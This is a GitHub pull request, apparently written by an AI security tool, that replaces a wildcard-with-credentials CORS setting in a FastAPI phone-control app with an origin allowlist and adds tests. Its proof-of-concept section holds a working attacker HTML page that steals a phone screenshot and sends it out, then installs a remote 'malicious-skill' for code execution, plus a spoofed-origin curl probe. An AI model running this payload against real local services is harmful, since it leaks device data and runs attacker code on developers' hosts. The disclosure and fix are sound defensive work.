Skip to content

fix(cors): restrict allowed origins to local dashboard/docs#10

Open
sebastiondev wants to merge 1 commit into
ghost-in-the-droid:mainfrom
sebastiondev:fix/cwe352-app-permissive-0d42
Open

fix(cors): restrict allowed origins to local dashboard/docs#10
sebastiondev wants to merge 1 commit into
ghost-in-the-droid:mainfrom
sebastiondev:fix/cwe352-app-permissive-0d42

Conversation

@sebastiondev

Copy link
Copy Markdown

Summary

The FastAPI app is currently configured with allow_origins=["*"] and allow_credentials=True. Starlette's CORSMiddleware resolves that combination by reflecting whatever Origin the caller sends and returning Access-Control-Allow-Credentials: true. Combined with the "no authentication on the API by default" design (SECURITY.md) and the fact that the server binds to 0.0.0.0:5055, this lets any web page a developer opens in another browser tab issue credentialed cross-origin requests to the local API.

That API exposes some sensitive surface:

  • POST /api/skills/install (gitd/routers/skills.py:137) clones an arbitrary GitHub URL and imports its Python (_install_to_skills_dirimportlib.import_module), i.e. RCE on the developer's host.
  • POST /api/phone/tap, /api/phone/type, /api/phone/input, /api/phone/launch, /api/phone/swipe, etc. drive ADB on the connected device.
  • GET /api/phone/screenshot/{device}, /api/phone/xml/{device}, /api/phone/screen-tree/{device} leak live screenshots and UI dumps of whatever is on the phone.

Classification: CWE-352 (Cross-Site Request Forgery) / permissive CORS enabling drive-by pivot to RCE + device control.

Fix

gitd/app.py: replace the allow_origins=["*"] wildcard with a small allowlist of the local dashboard and docs origins:

http://localhost:6175, http://127.0.0.1:6175   # Vite dev server
http://localhost:5173, http://127.0.0.1:5173   # Vite default (fallback)
http://localhost:4321, http://127.0.0.1:4321   # Astro / Starlight docs

Anyone serving the dashboard from a different URL (e.g. behind a reverse proxy) can override the list at startup via the GITD_CORS_ORIGINS env var (comma-separated).

The rest of the middleware stays the same — allow_credentials, allow_methods=["*"], allow_headers=["*"] — so all existing dashboard flows keep working; only the origin gate changes.

Test results

Added tests/api/test_cors.py with two regression tests:

  • test_cors_rejects_arbitrary_origin — preflight from https://evil.example must not receive Access-Control-Allow-Origin: https://evil.example (and not *).
  • test_cors_allows_frontend_dev_origin — preflight from http://localhost:6175 must receive that exact origin back.
$ python3 -m pytest tests/api/test_cors.py -v
tests/api/test_cors.py::test_cors_rejects_arbitrary_origin PASSED  [ 50%]
tests/api/test_cors.py::test_cors_allows_frontend_dev_origin PASSED  [100%]
2 passed

The full API test suite (33 tests) still passes locally.

Proof of concept

With the app running per README quickstart (python3 run.py, listening on http://localhost:5055) and a phone attached, before the fix any web page can do the following:

<!-- attacker.html — served from any origin, e.g. https://evil.example -->
<!doctype html>
<html><body>
<script>
// 1) Steal a live screenshot of the developer's phone.
fetch("http://localhost:5055/api/phone/devices", {credentials: "include"})
  .then(r => r.json())
  .then(devs => {
    const serial = devs[0].serial;
    return fetch(`http://localhost:5055/api/phone/screenshot/${serial}`,
                 {credentials: "include"});
  })
  .then(r => r.blob())
  .then(b => {
    // Exfiltrate the PNG. In the real PoC this posts to attacker.example.
    const fr = new FileReader();
    fr.onload = () => navigator.sendBeacon("/exfil", fr.result);
    fr.readAsDataURL(b);
  });

// 2) Install an attacker-controlled "skill" — RCE on the developer's host.
fetch("http://localhost:5055/api/skills/install", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "application/json"},
  body: JSON.stringify({url: "https://github.com/attacker/malicious-skill"}),
});
</script>
</body></html>

Before the fix (against main): the browser executes both requests; the response for /api/phone/screenshot/<serial> carries Access-Control-Allow-Origin: https://evil.example and Access-Control-Allow-Credentials: true, so the attacker's page can read the PNG body. The POST /api/skills/install preflight also succeeds, and the follow-up POST clones + imports arbitrary Python from github.com/attacker/malicious-skill.

Reproduce the CORS reflection headline directly with curl:

$ curl -si -X OPTIONS http://localhost:5055/api/health \
    -H 'Origin: https://evil.example' \
    -H 'Access-Control-Request-Method: GET' | grep -i '^access-control-'
# BEFORE fix:
access-control-allow-origin: https://evil.example
access-control-allow-credentials: true
# AFTER fix:
# (no ACAO header at all; preflight returns 400)

Security analysis

  • Preconditions. A developer runs the app locally per the README (no auth is expected, per SECURITY.md) and, in another tab, visits an attacker-controlled URL. Nothing else is required — no interaction with the malicious page, no misconfiguration, no third-party code.
  • Why the current config is unsafe, not just "loose". With allow_origins=["*"] + allow_credentials=True, Starlette's CORSMiddleware does not send a literal *; it reflects the request's Origin and asserts credentials. Browsers accept that as a valid cross-origin credentialed response, so any page can read responses from the local API — this is materially different from a plain public API that returns JSON without credentials.
  • What the fix changes. After the fix, the middleware only echoes the request Origin back if it matches the allowlist; for anything else it omits Access-Control-Allow-Origin, and the preflight returns 400. Browsers then refuse to expose the response to the calling page. The GITD_CORS_ORIGINS escape hatch keeps reverse-proxy deployments unblocked.
  • What the fix does not change. This is still an unauthenticated local API by design — it does not add auth, and it does not defend against attackers with local network access to 0.0.0.0:5055. SECURITY.md's existing "put it behind a reverse proxy with auth if you expose it" advice still applies. The fix specifically addresses the browser-side drive-by pivot from a random web page.

Adversarial review

Before submitting we tried to disprove this. In particular, we checked whether:

  • Router-level auth cancels it. No router in gitd/routers/ uses APIRouter(dependencies=...), and no Depends(get_current_user) / verify_token / equivalent exists in the codebase — the SECURITY.md note "No authentication on the API by default" is accurate. So there is no framework gate that stops the reflected-CORS request from reaching the handler.
  • The precondition is already sufficient for the impact. "Developer visits a web page" on its own gives an attacker nothing on the developer's host or on the connected phone. The CORS misconfig is what turns that visit into (a) read access to phone screenshots/UI, and (b) unauthenticated POST /api/skills/install which clones + imports arbitrary GitHub Python. So this is a real capability delta, not a redundant finding.
  • Browsers already block it. Modern browsers block wildcard-with-credentials responses, but Starlette does not send a wildcard here — it sends the reflected origin, which browsers accept. Verified empirically with curl (see PoC).

Discovered by the Sebastion AI GitHub App.

The FastAPI app previously used allow_origins=['*'] together with
allow_credentials=True. Starlette resolves that combination by
reflecting whatever Origin the caller sends and returning
Access-Control-Allow-Credentials: true, so any web page in the
developer's browser can issue credentialed cross-origin requests
to the API on 0.0.0.0:5055.

That is a drive-by pivot: /api/phone/* runs ADB commands on the
connected device, /api/skills/install imports Python code, and the
whole API otherwise has no auth. Restrict CORS to the local Vite
dev server and Astro docs origins by default, and expose a
GITD_CORS_ORIGINS env var for anyone who serves the dashboard
from another URL.

Adds tests/api/test_cors.py to lock in the policy.

Refs: CWE-352 (Cross-Site Request Forgery).
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant